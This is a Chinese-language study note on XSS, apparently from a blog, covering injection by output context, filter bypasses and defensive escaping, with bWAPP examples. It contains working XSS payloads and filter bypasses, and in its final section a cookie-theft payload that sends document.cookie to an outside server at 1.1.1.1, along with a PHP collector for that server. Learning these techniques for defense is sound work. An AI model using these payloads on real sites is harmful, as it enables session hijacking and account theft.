#xss
我认为xss漏洞可以根据可控变量的输出的位置不同来进行分类
1.在html标签中输出
1.1在一般标签中输出
在html标签中输出一般需要先闭合"和当前标签或者采用嵌套标签的方式,再构造可以使用Javascript脚本的标签如<img>或者<button>标签或者直接使用<script>标签来构造xss
例:
<?php
if(isset($_GET["firstname"]) &&isset($_GET["lastname"]))
{
$firstname = $_GET["firstname"];
$lastname = $_GET["lastname"];
if($firstname == "" or $lastname == "")
{
echo "<font color=\"red\">Please enter both fields...</font>";
}
else
{ echo "Welcome " . htmli($firstname) . " " . htmli($lastname);
}
}
?>
</div>
这段代码节选自bwapp,可见这段代码的输出在div标签中输出当难度等级为low时htmli函数会直接输出输出内容可以直接构造xss就不再截图了.
在medium中将< >换成了html字符实体
但是通过%3c代替<和%3e替换>可以注入,一开始以为是字符编码的原因,后面反复测试发现我的输入不知道为什么都被多进行了一次url解码,查看源码发现确实如此,不明所以的加了一个urldecode()函数然后才输出造成可以使用%3c代替<,在high等级中将< > & " '全部转换成实体字符没有尖括号输入的内容就不可能被浏览器当作脚本来执行所以无法构造出xss
防御方法:只需要转义尖括号和引号就会很难构造出xss
1.2在<script>标签中输出
在script标签中输出的数据会被当作js代码来执行,不经过适当的转义不但内容无法正常输出还有可能造成留下xss隐患,在js脚本执行时html实体也会被当作一般字符来执行,所以简单的将<>转换为html实体是行不通的.
对于js代码中的输出需要使用\uXXXX格式的unioncode实体告诉js这是数据而不是代码从而避免xss(具体需要转义的字符和方法见6)
2.html标签中输出
在标签中输出通过构造javascript事件或者提前终止标签再插入新的标签来构造xss
2.1_在属性位置的输出
例(可控制变量为$inp0t):
<div id="001" name="$inp0t"></div><p class="$input">
等这些情况下必须闭合标签然后进行xss的构造
代码实例
<div id="qwe" name="<php? echo($_GET["a"]); ?>"></div>
此时需要先逃逸出引号和这个尖括号的控制在div标签内和name属性中是无法构造xss的
输入:1">alert("xss");<"
便可构造出xss
防御方法:
若不逃逸出引号,所有的输出就会被理解为属性内容,便无法构造xss所以需要对所有输出加引号包围同时转义. < > : " ' /为html实体.
2.2_在事件位置的输出.
在这些标签中不一定非要提前结束这个标签来构造xss只要构造事件便可以构造出xss再加上在javascript中html实体是可以发挥和一般字符发挥一样的功能所以相对于别的标签这些标签更加难以防御.
例:
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=UTF-8">
<title>test</title>
</head>
<body>
<form action="<?php echo $_SERVER['PHP_SELF'] ?>" method="POST">
<input type="text" name="a"/>
</form>
<img src="www.baidu.com/<?php echo($_POST['a']);?>.img">
</body>
</html>
写入"onerror=alert("xss");>//
防御方法:
对于像例子中在src内的类似在属性中的输出只需要转义< ; : " ' ( ) > & . /为html实体便可以防御虽然在<img>标签的src属性中使用javascript伪协议已经不能达到攻击效果但是用户也不会在正常的输入中用到: 或者;所以还是应该进行转义甚至直接过滤.
而在事件内的输出很容易被当作js代码执行所以这里需要对输入进行另一种转码转换为unicode编码(\uXXXX)形式的编码这种编码html无法正确的解析它但是在js代码内他们会被解析成正确的符号但不会被当成代码执行.
2.3_在<a>或<iframe>标签内输出
在这些标签中的输出更加危险一些,因为javascript:等伪协议在这里会发挥作用
但是防御方法也很简单就是数据输出之前先进行url编码在输出
经过测试发现火狐和chrome浏览器都会将被url编码过后的javascript:伪协议理解为一个相对url
不过为了在所有浏览器下均保证安全可以先在检查是否在前面有加协议名称如http://,https://如果没有可以在后端进行url编码后添加http://以此防止伪协议类xss.
3.在<style>标签和CSS中输出
4.不完全过滤绕过
在实际情况下有很多环境是通过正则简单的过滤关键字的方法来防御xss
4.1_常见正则的绕过
大小写绕过<ScRiPT>
复写尖括号绕过<<script>
使用重音符`(ESC下面的那个)封装JavaScript伪协议绕过'或者"的过滤
<style>标签构造xss(插入远程样式表)
例:
<style>@import'http://xxx.com/xss.css';</style(</style>标签可省略)
<iframe>标签绕过:
例:
<IFRAME SRC="javascript:alert(/xss/);"></IFRAME>
<IFRAME SRC="" onmouseover="alert(document.cookie)"></IFRAME>
<link>标签绕过
location='javascript:'绕过(在javascript:后面的内容可以采用url编码后的内容绕过过滤
<img src="<?php echo ($_POST["a"]);?>">
输入
/" onerror=location='javascript:alert%28%2fxss%2f%29' "
5.html和javascript内分别对应的不同编码方式
字符实体可在JavaScript代码中发挥和转义前一样的效果测试:
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=UTF-8"><title>test</title>
</head>
<body>
<form action="<?php echo $_SERVER['PHP_SELF'] ?>" method="POST">
<input type="text" name="a"/>
</form>
<img src="" onerror="<?php echo($_POST["a"]);?>">
</body>
</html>
输入
alert("xss")
可见html实体字符在javascript脚本中可发挥同转义前一样的功能.
对于javascript中输出的内容需要转换为unicode(\uXXXX)的格式
其中 ' " > < ? / : # & ( ) \ 分别对应
\u0027 \u0022 \u003e \u003c \u003f \u002f \u003a \u0023 \u0026 \u0028 \u0029 \u005c
参考过的案例搜狐视屏储存型xss(看水印应该是从乌云被转载过去的)
参考书籍:<白帽子讲web安全>
PS.不知道简书是如何解析md文档的,复制粘贴上去的文章中的标签被解析成了html的标签文章变得一团乱所以图片和文字是后面再整理的可能会有乱序或者缺失.
6.xss注入及利用
6.1xss&cookie
cookie盗取:很多同学都认为只把cookie弹窗显示出来就是cookie盗取其实并不是
cookie盗取中需要另外用到一台服务器
盗取cookie传输方式有很多,加密或者不加密也可以根据环境自由选择
<?php
setcookie("MY_COOKIE","Th1s_is_a_test.");
setcookie("Hello","Th1s_is_a_test_too.");
echo $_GET['a'];
?>
假设上面这个php部署在有漏洞的服务器上
<?php
$file = fopen("./xs/xss.txt","a") or die();
$txt = (string)$_GET["m"];
if(preg_match("/[^a-zA-Z0-9;\s\._=]/", $txt))
{
die();
}
$txt = preg_replace("/[\s]/",'',$txt);
$txt = preg_replace("/[;]/",";",$txt);
$txt = $txt."\r\n";
fwrite($file, $txt);
fclose($file);
?>
上面这个php部署在攻击者的服务器上
接受get参数查看是否合法并写入对应txt文件内
paylaod如下:
<script>a=document.cookie;a="<img src='http://1.1.1.1/x.php?m="%2ba%2b"'>";document.write(a);</script>
如果将这个链接发送给别人,在点击时也会将cookie发送到你的服务器上.
盗取cookie是手段而不是目的
cookie通常用来登陆网站时做为身份凭证使用,不合理配置cookie和xss的结合就会导致cookie容易被盗取.
#2018.6.1第一次修改:删除和修改了错误的内容,将部分内容重新分类,对代码进行整理方便阅读
#2018.6.5第二次修改:添加xss&cookie笔记